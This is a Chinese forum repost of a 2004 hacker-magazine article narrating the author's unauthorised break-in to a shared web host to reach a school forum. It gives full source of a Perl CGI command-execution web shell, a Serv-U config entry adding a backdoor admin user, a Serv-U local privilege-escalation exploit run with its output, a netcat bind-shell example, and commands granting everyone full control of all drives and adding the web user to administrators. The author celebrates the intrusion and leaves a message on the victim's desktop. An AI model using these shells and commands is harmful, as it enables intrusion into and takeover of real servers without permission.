中国网络渗透测试联盟
标题:
剑走偏锋——灵巧的旁注攻击
[打印本页]
作者:
admin
时间:
2012-9-15 14:11
标题:
剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
. `' e+ t3 B+ A! W; M5 X% h* a
本文作者:angel
# I+ k/ G+ g1 N- E; |: G E. L3 c0 S
文章性质:原创
( P' V; w5 Y7 s: G& f1 X
发布日期:2004-11-09
2 ~* @$ n3 p' n0 m1 k
注意:
~% r9 |8 w1 G2 h4 q4 O- ]' S
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ \5 r& q! s. F! w! o# D
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
3 A% L* A0 W# W' C. T6 A* D
5 m1 S8 G( h: w5 B( l
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
, m+ m- G; K N! m; }4 @( @, V
# V% q5 e1 B! Y4 G' k
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
% o y; u" s( u7 a) L
8 [! M; {' e* c) s- O
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
, L' ^) {5 ^2 ^ x) n: j' H, _
7 z# T, C+ Y: i( \5 @/ r& q9 L2 H" v
一次看见了一个学校论坛(
http://www.school.com
),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
* i/ u. c( |6 H6 t, @/ c K
. T$ v9 p9 u I0 b
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有
http://whois.webhosting.info
这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
6 t7 b: |: s8 p- U# q
4 \, [3 U3 v8 r
没有目的的跳转目录着……
" C f8 Z* t& V$ D( ~. k7 F6 Q
- R. G* q+ _/ q. N
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
/ R! v, r, i7 {
0 H' s" x2 U6 q3 @
结束了吗?不,我试着 FTP 一下:
4 z1 S, a) l3 C, C
' F% Y d$ S) a* w: v& m/ U
Microsoft Windows 2000 [Version 5.00.2195]
* T& m0 l* ]6 `5 I! U% L) W( n. R# a
(C) 版权所有 1985-2000 Microsoft Corp.
& P( g- Y4 ]1 E: F) n4 X* h# V
* O! n4 B8 y O- {/ t
C:\Documents and Settings\Administrator>ftp
www.school.com
5 H: y/ A/ \. }7 J7 s
Connected to www. school.com.
# D7 f6 R: T( H E- _
220 Welcome to FTP Server...
5 t9 a# o7 Q% q& M* o
User (
www.bjtrq.com:
(none)):
* o. u2 o; u: W
331 User name okay, need password.
& D# n) {/ P9 l# _% t) U
Password:
" {' o; t1 ?8 u9 ]7 X( e
530 Not logged in.
. @0 b' {% @/ g# t# [. z( w& v% t
Login failed.
4 h; a' P/ J# e1 o; K
ftp> bye
7 z, n9 O- t: R S! P f# g
221 Goodbye!
* i7 C! h2 F$ I6 p, S( j
2 A5 \( ~& e1 W5 b! Y8 G1 h
9 X" O; m) P6 d, S
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
6 ^6 \+ l6 h0 `0 |* c x" d; \
5 h) i/ @1 g6 b5 C" n
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
2 h# ?+ B8 K0 G7 }3 ?2 ] c1 H
& d; S' m0 e _( G5 E& M) j! W
Application Data
1 c' n, H7 R0 \$ [# B+ T0 ~
Documents
4 C1 o8 e7 i9 G9 @
DRM
x+ U7 H) m! R3 g
Favorites
8 p$ K3 E4 z) W* h3 u) ] z5 ~
Templates
* K* e0 }5 T b& y! Z) t, G: b
「开始」菜单
0 p6 h- z# O5 Q9 S2 ~0 T
桌面
* Q6 }6 R: \. n. v8 G- @0 W
' T" c1 @2 O, j) W' w3 z( i( g5 X o7 |
C; B/ b; x, o* o3 E4 a" v
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
) L. Z( J# o+ k* _* J
5 f0 s4 P. f3 T1 [# E1 H& J( q
ActiveState ActivePerl 5.8
6 I8 L/ y% n; {. Z
Administrative Tools
, g" M5 _8 i' Z Q; ^' C. z
Deerfield.com
, M* k" ~% c+ `8 h
DTemp
, v( |8 ^0 i' n1 w
IPSentry
2 R, j3 J9 J4 ?2 b. u
MBM 5
4 J4 @+ @$ {* w( j
NetMeter
$ A8 n. ^* d7 C' Z: {2 e( r
Network ICE
: T" R; L' D6 `* @/ L! L" _+ c) h
Persits Software AspEmail
, P5 K- J2 J% W
Persits Software AspJpeg
9 t- R7 b4 G. l0 U
Serv-U FTP Server
) p. j+ v# ]4 x% P8 Q) m
Symantec Client Security
0 w& R% N1 P$ j# a) Z6 o1 @
Windows 优化大师
/ D: o1 X/ ]8 ~: E; R# F& }
WinRAR
: ]8 N# I+ Z- s( I. m) s9 y
启动
c5 U+ S; V! t; b
管理工具
. {0 P7 B! a5 l/ b
附件
7 Z- M+ f0 S$ z
! Y, _; b6 ^3 q9 R! P r: w
( z! f- U( G. V5 n) Z
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
" {% J8 v' w. I
' r& B& G, _1 g: [# \
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
$ o) A- S: `2 c8 j& U) |8 K; W
8 E0 M( c: }! q
User281=angel|1|0
2 C2 I+ ?2 q8 _% c+ P b
" z" {% k) m0 Z! y" `) i( }8 d
; K& @8 U1 E$ R5 W4 S# i
然后加上
" a0 x% x5 r% I% Y% E1 N# S
. d" c" V2 P$ m5 o" D3 a9 O" L/ T
[USER=angel|1]
5 O; O" }+ z/ @( n2 o
Password=ng98F85379EA68DBF97BAADCA99B69B805
) A3 ? v! S( R, R) \
HomeDir=D:\websites
: u M8 C$ Y3 e; r6 O' _
RelPaths=1
4 ?+ `1 T8 B5 f& k
TimeOut=600
0 ~: n0 }5 E- u5 S
Maintenance=System
& X2 r& v8 H* I8 k# R: {$ b; g1 u
Access1=D:\websites|RWAMELCDP
2 h! f) O G* _) H" P" M J
SKEYValues=
: C6 N0 y+ s( m. n+ g
- V( D5 n9 |. P" p9 x3 h
1 c3 _4 ~2 z: \9 C
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
1 l, M# r \1 x6 ^; z; A v
, b! q1 c- g% k+ \2 i" E
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
/ e: b2 A& @. {- P/ _5 W3 h. a
- h. d3 } Q( G) T& y
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
4 }: p$ ~& f( S2 N7 ~7 j* }, H
( Y$ J M+ a' m' T a9 G2 _, \; \
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
# a6 O. V# N1 v; U
1 a& o: X4 c0 X, E2 B' L
#!/usr/bin/perl
" Z! t9 w/ `5 Q' d/ w$ t, q+ C
binmode(STDOUT);
B" z9 C# H- i7 Y9 u; }. ?
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
! H+ i0 i6 v r5 k0 [6 p
$_ = $ENV{QUERY_STRING};
8 k& c1 q' l9 k4 Z0 h, Z# V$ _
s/%20/ /ig;
2 ]# w5 Z1 w, V4 A5 [
s/%2f/\//ig;
& g5 v: N' \# c& M
$execthis = $_;
. r1 n6 q$ y% N5 U0 B2 J4 A
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
+ J4 |+ _6 s* Z, b
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
. j# o: D. W- p W
system($execthis);
# G8 _' x% R4 v
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
# h2 z' J4 c; `3 f
close(STDERR);
1 Z* R0 Y3 b5 I2 |3 }
close(STDOUT);
9 G( H5 f! _1 ^
exit;
) K& M6 B5 w; S! V
/ |+ P! o& Q6 ]0 W A% p2 {
, |6 K% H% H% ]. F# N. M
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
/ f* \2 ^5 a* e9 k; v
3 y" b0 j9 V) m# X1 x/ Y+ H
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
' F: P; Q& e( W4 a6 b
$ e4 W. j3 g- n9 H, Z9 P8 I
http://anyhost//cmd.pl?d:\user\bin\su.exe
6 X& D1 v- W+ d. W: V
. O( F& E1 f" A: l6 a% Y( ~" P
5 l" j: S, K- l
返回:
) g u' L+ o! k1 e. `; D3 L. H
/ Z2 O# ?/ _2 R0 ~0 q' i# `
Serv-u >3.x Local Exploit by xiaolu
! i+ [, I4 m ~8 E3 X6 ]7 ?
. Y/ ]/ a9 s6 q8 v0 r3 X6 S; y2 H1 H6 `1 E
USAGE: serv-u.exe "command"
# A( j) R5 W% I# k& }* ^) u6 q3 j4 P2 Z
* P5 M! J; v9 v/ _7 @1 }
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
! m' n, i; g$ E) u3 a
9 X+ r1 H. D& E) c, q% E
8 }" z# p/ l- A5 X
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
) W- ?9 ^4 Y. s2 R+ z' q9 a. B
4 U' ]8 A4 B7 f a0 [3 ~ B
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
# B. r4 k, t8 ^, Y' L
0 a$ U! Z1 v3 ?+ {: X; _0 B4 p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
: h4 {- y+ p* y
: D1 Z3 `0 r: Q4 ?6 F
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
# Z. G2 `* c, f1 |0 r( S3 {! D
3 x; e% a. U* |+ \& |$ f; D* l
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
# D2 O& f2 J: c. m4 `! `* O) v
/ J' U1 F" r% o
8 [, q& |! }6 m" {2 f s6 I
返回下面的信息,就表示成功了!!!
; N4 U0 g* A! v7 L7 N, w: O/ v* K
' H6 P5 ~, y# W4 P! M
Serv-u >3.x Local Exploit by xiaolu
, h# i5 N7 N4 G" T' W) d' |4 x9 }
4 Q8 P% a! r5 ]* d0 a* W
<220 Serv-U FTP Server v5.2 for WinSock ready...
0 ~; I& T/ W! e
3 X. Q2 E; g( V1 K9 z
>USER LocalAdministrator
5 i% P% {+ e2 I
/ k; |0 H' L" Q! ^+ I6 } i$ {, a
<331 User name okay, need password.
+ V: }* Y- G1 a9 \+ ?4 L( B
! j: ^" U2 H* F) h
******************************************************
7 C4 w5 ]& y* n4 x t x4 x. E
1 W7 m! s. ~- Z4 K4 X
>PASS #l@$ak#.lk;0@P
. X$ M; q$ s4 t- Z$ A( E- B# m
/ O! M, w; E( x$ ^/ p
<230 User logged in, proceed.
' Y2 v$ ~' ~& Q* w4 Y% y G- y
* ]9 ~2 s) s6 v1 J* l$ B& Q) S4 @
******************************************************
" |. q$ ?) c7 D5 n
7 O: e9 c% |7 h* T
>SITE MAINTENANCE
, o$ L7 C7 [1 M p l: v9 K
6 `, M1 X" i* p. ^7 ?
******************************************************
( }8 G5 F. e9 w! B6 o3 B- G' d
4 o8 R$ [- ~" x
[+] Creating New Domain...
, j; z- ]' l% n4 `$ ] ?
; L2 N& }7 t8 u" g6 A2 J5 \" ?
<200-DomainID=2
+ R, c# L4 F4 M) T- t
k$ j! b3 {; }' O
<220 Domain settings saved
6 U+ g% ?" M z2 G- [$ O( ^* c' ]
9 ^/ D/ B$ X, m1 g" B- n7 R, G4 G
******************************************************
: m/ n% g8 C0 \6 D3 Y8 _) P
. S5 d' G9 m( e, u; g
[+] Domain xl:2 Created
+ k( W9 \6 |/ H- x
( S9 Z! s9 ~. O- P& Q9 Q
[+] Creating Evil User
9 N5 M) g: o0 x
% O( k, B3 _& Q$ {
<200-User=xl
]8 T/ d9 U& x
3 k6 W0 _( j* v1 |: \& p
200 User settings saved
" Q# z% o# l* g; I1 `4 Y% \
* d( I; e! j; N( K- K4 p
******************************************************
# u" J4 ]4 b1 C3 p4 ^
4 Z# }) D$ N! ?
[+] Now Exploiting...
, K: ?9 w& Q' {1 Y
( H; o" o3 y, l' @7 |7 z) {; t
>USER xl
3 U0 X% ^. D1 t1 T
7 P9 ?2 H4 V* h
<331 User name okay, need password.
8 S8 t# }1 w" k1 L+ k' [+ T
3 G2 D$ m' Y) j# ~2 B0 I; p" @
******************************************************
$ r6 Z9 c1 U4 x1 P9 I9 d" E, V: t
; s/ |* x4 ]6 t6 v. m+ w2 l$ _
>PASS 111111
/ b, i4 ~. w; K4 Q# S0 g3 a
- L! @6 Q+ d7 T( D0 [. p$ A/ C% m
<230 User logged in, proceed.
& k: N4 ^' u% t* j& n- @) V
! ^. i) Y" J% |2 C! A
******************************************************
* t2 B6 Y7 |' B, S
- t8 I" R% z' \( C$ X
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
6 n* _* [1 A3 v/ b' l# T: O
4 X' ]" {3 v+ v* X+ G
<220 Domain deleted
& ~( b! [3 \( Z, b5 }- a
3 _5 f$ C ~' k% E" a
******************************************************
- r: P8 c: s% B- |, k
5 }- Q/ v. W* `+ u( ^( F% U
, w# n: o( x2 ?( _- \7 u
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
2 p/ F8 @% I1 b0 p
4 ]) A* T0 ^8 M9 h
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
+ |. ?1 T# K- K U" B- @0 V
+ Z1 U4 b; W; o9 G/ D( L( ]
( ?. M$ `* l0 o2 d) U. ?' `
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
$ ?4 V! Z* Z9 b% x* j- I
% o2 [+ l5 b' Q" v
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
P2 |# z& Y9 {1 R3 c7 l
! |# }0 |: B+ y. Z. j$ V5 x! m0 L
% w% `& }1 \- k8 r# n" x0 Z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2